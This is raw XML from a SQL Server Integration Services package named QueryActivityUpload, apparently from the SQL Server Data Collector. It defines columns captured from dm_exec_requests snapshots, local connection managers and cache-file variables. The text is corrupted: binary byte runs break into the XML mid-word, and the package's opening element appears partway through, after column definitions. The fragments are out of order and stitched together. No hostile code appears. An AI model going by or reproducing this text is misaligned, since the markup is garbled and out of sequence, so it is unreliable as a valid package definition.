Output].Columns[transaction_isolation_level]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[request_cpu_time]" cachedDataType="i4" cachedName="request_cpu_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_cpu_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_cpu_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[request_logical_reads]" cachedDataType="i8" cachedName="request_logical_reads" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_logical_reads]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_logical_reads]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[request_reads]" cachedDataType="i8" cachedName="request_reads" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_reads]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_reads]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[request_writes]" cachedDataType="i8" cachedName="request_writes" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_writes]" lineageId="Package\LOOP - 	!!!!!!!!!!!!!!!!!!!!!!!!`M7xɮHvQuery the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_writes]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[request_total_elapsed_time]" cachedDataType="i4" cachedName="request_total_elapsed_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_total_elapsed_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_total_elapsed_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[request_start_time]" cachedDataType="dbTimeStamp" cachedName="request_start_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[request_start_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[request_start_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[memory_usage]" cachedDataType="i4" cachedName="memory_usage" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[memory_usage]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[memory_usage]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[session_cpu_time]" cachedDataType="i4" cachedName="session_cpu_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_cpu_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_cpu_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[session_reads]" cachedDataType="i8" cachedName="session_reads" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_reads]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synch	!!!!!!!!!!!!!!!!!!!!!!!!`N7x9Hvronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_reads]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[session_writes]" cachedDataType="i8" cachedName="session_writes" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_writes]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_writes]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[session_logical_reads]" cachedDataType="i8" cachedName="session_logical_reads" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_logical_reads]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_logical_reads]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[session_total_scheduled_time]" cachedDataType="i4" cachedName="session_total_scheduled_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_total_scheduled_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_total_scheduled_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[session_total_elapsed_time]" cachedDataType="i4" cachedName="session_total_elapsed_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_total_elapsed_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_total_elapsed_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[last_request_start_time]" cachedDataType="dbTimeStamp" cachedName="last_request_start_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_last_request_start_time]" lineageId="Package\LOOP - Query the query statitics	!!!!!!!!!!!!!!!!!!!!!!!!`O7xSS_Hv DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[last_request_start_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[last_request_end_time]" cachedDataType="dbTimeStamp" cachedName="last_request_end_time" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_last_request_end_time]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[last_request_end_time]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[open_resultsets]" cachedDataType="i4" cachedName="open_resultsets" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[open_resultsets]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[open_resultsets]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[session_row_count]" cachedDataType="i8" cachedName="session_row_count" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[session_row_count]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[session_row_count]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[prev_error]" cachedDataType="i4" cachedName="prev_error" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[prev_error]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\ODS - Get snapshot of dm_exec_requests.Outputs[OLE DB Source Output].Columns[prev_error]"/><inputColumn refId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].Columns[pending_io_count]" cachedDataType="i4" cachedName="pending_io_count" externalMetadataColumnId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - Collect DMV Data\RFD - Write data to a cache.Inputs[Raw File Destination Input].ExternalColumns[pending_io_count]" lineageId="Package\LOOP - Query the query statitics DMV at collection frequency\SEQ - Synchronize Access to Cache File\DFT - C	!!!!!!!!!!!!!!!!!!!!!!!!`P8x$Hv<DTS:Executable xmlns:DTS="www.microsoft.com/SqlServer/Dts" DTS:refId="Package" DTS:CreationDate="7/10/2007 4:27:11 PM" DTS:CreationName="SSIS.Package.3" DTS:CreatorComputerName="" DTS:CreatorName="" DTS:DelayValidation="True" DTS:DTSID="{833DB628-8E19-47A3-92C5-FB1779B52E76}" DTS:EnableConfig="True" DTS:ExecutableType="SSIS.Package.3" DTS:FailParentOnFailure="True" DTS:LastModifiedProductVersion="11.0.1252.5" DTS:LocaleID="1033" DTS:ObjectName="QueryActivityUpload" DTS:PackageType="5" DTS:VersionBuild="343" DTS:VersionGUID="{9054B454-132D-4465-A916-BFB82C01EF56}"><DTS:Property DTS:Name="PackageFormatVersion">6</DTS:Property><DTS:ConnectionManagers><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[ConfigConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information about collection configuration and for logging purposes." DTS:DTSID="{F7E01FB6-8623-4709-92F3-6F3AA321E26E}" DTS:ObjectName="ConfigConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::ConfigConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:ConnectionString="Data Source=(local);Initial Catalog=msdb;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[ConfigConnection2]" DTS:CreationName="OLEDB" DTS:DTSID="{0742890B-9C4D-4A50-B3DC-5B95C23AE7E2}" DTS:ObjectName="ConfigConnection2"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::ConfigConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:ConnectionString="Data Source=(local);Initial Catalog=msdb;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[MdwConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to upload collected data to a warehouse." DTS:DTSID="{6F8B3DEC-B78D-4784-B3DB-455D7A51DA93}" DTS:ObjectName="MdwConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::MDWConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:ConnectionString="Data Source=(local);Initial Catalog=MDW;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[TargetConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information from the monitored (target) instance." DTS:DTSID="{824F4D6D-D478-4DA6-A12F-89D59EA9916C}" DTS:ObjectName="TargetConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::TargetConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:Retain="True" DTS:ConnectionString="Data Source=(local);Initial Catalog=master;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager></DTS:ConnectionManagers><DTS:Configurations><DTS:Configuration DTS:ConfigurationString="User::CacheDirectory" DTS:ConfigurationVariable="\Package.Variables[User::CacheDirectory].Properties[Value]" DTS:CreationName="" DTS:DTSID="{3BF030A5-F9F3-48EC-991F-AFC03D683C78}" DTS:ObjectName="CacheDirectory"/><DTS:Configuration DTS:ConfigurationString="User::CacheWindow" DTS:ConfigurationVariable="\Package.Variables[User::CacheWindow].Properties[Value]" DTS:CreationName="" DTS:DTSID="{AE9CDFC3-4CC4-464F-B35F-7810BA1ABBD2}" DTS:ObjectName="CacheWindow"/><DTS:Configuration DTS:ConfigurationString="User::InputParameters" DTS:ConfigurationVariable="\Package.Variables[User::InputParameters].Properties[Value]" DTS:CreationName="" DTS:DTSID="{9D55EE56-6910-4E32-B537-25B0C128C430}" DTS:ObjectName="InputParameters"/><DTS:Configuration DTS:ConfigurationString="User::MDWConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::MDWConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID	!!!!!!!!!!!!!!!!!!!!!!!!`Q8x-NHv="{32958205-BE98-4005-848D-9CDAD18B485C}" DTS:ObjectName="MDWConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::ConfigConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::ConfigConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{82D5D5A2-D6CF-480D-93EF-312C238B6140}" DTS:ObjectName="ConfigConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::TargetConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::TargetConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{D036A0FF-DD97-48FB-85FC-9153012354AC}" DTS:ObjectName="TargetConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::LoopEventName" DTS:ConfigurationVariable="\Package.Variables[User::LoopEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{5652572B-C4D6-446B-B4DA-D930950D088F}" DTS:ObjectName="LoopEventName"/><DTS:Configuration DTS:ConfigurationString="User::ExitEventName" DTS:ConfigurationVariable="\Package.Variables[User::ExitEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{A9B77148-085F-4D14-9E2E-37A57D6757BC}" DTS:ObjectName="ExitEventName"/><DTS:Configuration DTS:ConfigurationString="User::CollectorTypeUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectorTypeUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{9E1D409F-1A3C-4174-A505-0FFAA612160D}" DTS:ObjectName="CollectorTypeUID"/><DTS:Configuration DTS:ConfigurationString="User::CollectionSetUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectionSetUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{89536777-0CCF-4694-9F39-D5E318BCB934}" DTS:ObjectName="CollectionSetUID"/><DTS:Configuration DTS:ConfigurationString="User::ItemID" DTS:ConfigurationVariable="\Package.Variables[User::ItemID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{6EBC5A5F-39A5-4286-8734-21B59CDE9649}" DTS:ObjectName="ItemID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceID" DTS:ConfigurationVariable="\Package.Variables[User::InstanceID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{F6E7BDA0-036F-4B1B-94EB-8406B1E9B20F}" DTS:ObjectName="InstanceID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceName" DTS:ConfigurationVariable="\Package.Variables[User::InstanceName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{84CBFFD3-0BD5-4CC1-9897-5AEB3F7D4DA6}" DTS:ObjectName="InstanceName"/><DTS:Configuration DTS:ConfigurationString="User::LoggingLevel" DTS:ConfigurationVariable="\Package.Variables[User::LoggingLevel].Properties[Value]" DTS:CreationName="" DTS:DTSID="{A3026DB9-2F6D-4E83-BD74-44A6F4D1A7CC}" DTS:ObjectName="LoggingLevel"/><DTS:Configuration DTS:ConfigurationString="User::LogID" DTS:ConfigurationVariable="\Package.Variables[User::LogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{EA9FBE84-EE1C-4E72-ADF0-EF0FD3A11359}" DTS:ObjectName="LogID"/><DTS:Configuration DTS:ConfigurationString="User::ParentLogID" DTS:ConfigurationVariable="\Package.Variables[User::ParentLogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{FFB4EB4D-E314-4D92-8187-3E00EB488A86}" DTS:ObjectName="ParentLogID"/><DTS:Configuration DTS:ConfigurationString="User::DaysUntilExpiration" DTS:ConfigurationVariable="\Package.Variables[User::DaysUntilExpiration].Properties[Value]" DTS:CreationName="" DTS:DTSID="{8C4258C5-F791-4524-8ECA-66D01EFDC80D}" DTS:ObjectName="DaysUntilExpiration"/></DTS:Configurations><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{ECDC2A49-72C5-46F3-BD6E-DCEB9DEEF72D}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheDirectory"><DTS:VariableValue DTS:DataType="8">c:\perflogs</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{DE97580A-42C9-4CB8-9D44-303453E76B39}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="CacheWindow"><DTS:VariableValue DTS:DataType="3">1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:Description="Stores snapshots of dm_exec_requests" DT	!!!!!!!!!!!!!!!!!!!!!!!!`R8xzyHvS:DTSID="{80DBEFB8-CF7D-49AF-98DB-A24454AAE017}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CollectionCacheFilePrefixPattern] + &quot;.cache&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionCacheFileName"><DTS:VariableValue DTS:DataType="8">c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity.cache</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:Description="Stores snpashots of dm_exec_requests. This variable is used as temporary cached file name during the upload." DTS:DTSID="{DE5A4983-C608-4B75-8DE1-3BB14CD6A6F3}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CollectionCacheFilePrefixPattern] + @[System::ExecutionInstanceGUID]  + &quot;.temp.cache&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionCacheFileNameOutput"><DTS:VariableValue DTS:DataType="8">c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity{438B0736-4958-4B2D-95A4-E40C9F506131}.temp.cache</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:Description="Prefix for files related to dm_exec_requets collection" DTS:DTSID="{3530767F-ABC9-4E82-9B5A-25C464FDC0FF}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CacheDirectory] + &quot;\\&quot; + @[System::MachineName] + &quot;_&quot; + @[User::InstanceID] + &quot;_{&quot; +  @[User::CollectionSetUID] + &quot;}_&quot; +  (DT_WSTR, 10) @[User::ItemID] + &quot;_QueryActivity&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionCacheFilePrefixPattern"><DTS:VariableValue DTS:DataType="8">c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{A1EACD35-8916-4D0F-A685-D77F328496D0}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionSetUID"><DTS:VariableValue DTS:DataType="8">2DC02BD6-E230-4C05-8516-4E8C0EF21F95</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{207FCBB5-8712-48C8-9536-D21B01E44307}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectorTypeUID"><DTS:VariableValue DTS:DataType="8">14AF3C12-38E6-4155-BD29-F33E7966BA23</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{ADFFFFF9-2BA8-4A62-B0E5-E634A7963AD5}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ConfigConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=msdb;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9428F544-570A-47AC-9430-B3CBAA8CBBF5}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="DaysUntilExpiration"><DTS:VariableValue DTS:DataType="2">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{EDD12792-66C0-4339-AD29-2C1BA6A72377}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ExitEventName"><DTS:VariableValue DTS:DataType="8">EXITEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2F1DD347-A479-4B20-9553-9F753A9590DE}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InputParameters"><DTS:VariableValue DTS:DataType="8"/></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{69E5C04F-C310-4DE5-B16D-AD03966D10CF}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceID"><DTS:VariableValue DTS:DataType="8">MSSQL.1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{461689AB-102E-4FDB-976F-A0443165631D}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceName"><DTS:VariableValue DTS:DataType="8">MSSQLSERVER</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{82294C7A-5F89-4854-985C-B7BC5057328A}" DTS:IncludeInDebugDu	!!!!!!!!!!!!!!!!!!!!!!!!`S8xĿHvmp="6789" DTS:Namespace="User" DTS:ObjectName="InterestingQueriesCount"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:Description="Stores the most recent copy of snapshot of dm_exec_query_stats saved from the previous execution of this package." DTS:DTSID="{D3D09BF8-5470-485D-AEA6-A60E8A9C4BD2}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::InterestingQueriesSnapshotFileNamePrefixPattern] + &quot;LastSnapshot.cache&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InterestingQueriesLastSnapshotFileName"><DTS:VariableValue DTS:DataType="8">c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity_QueryStats_LastSnapshot.cache</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:Description="Stores temporary copy of the most recent snapshot of dm_exec_query_stats" DTS:DTSID="{8391E18B-AD8C-43B0-8D25-4493C59FE8A2}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::InterestingQueriesSnapshotFileNamePrefixPattern] + &quot;LastSnapshot.temp.cache&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InterestingQueriesLastSnapshotFileNameOutput"><DTS:VariableValue DTS:DataType="8">c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity_QueryStats_LastSnapshot.temp.cache</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:Description="Prefix for files related to dm_exec_query_stats collection." DTS:DTSID="{99DA43BE-ACDE-416C-86D7-CE128B6CD421}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CollectionCacheFilePrefixPattern] + &quot;_QueryStats_&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InterestingQueriesSnapshotFileNamePrefixPattern"><DTS:VariableValue DTS:DataType="8">c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_{2DC02BD6-E230-4C05-8516-4E8C0EF21F95}_100_QueryActivity_QueryStats_</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{3D154C22-E253-487D-9459-994FD35B5992}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="InterestingQueries_HighCpuUsage"><DTS:VariableValue DTS:DataType="3">5000</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{5DCD9A0E-9304-4624-85AF-FE7C903452D6}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="InterestingQueries_HighIoCount"><DTS:VariableValue DTS:DataType="3">500</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{29BBAFE9-D1B1-4B9F-BDBF-F56F438B3D11}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" 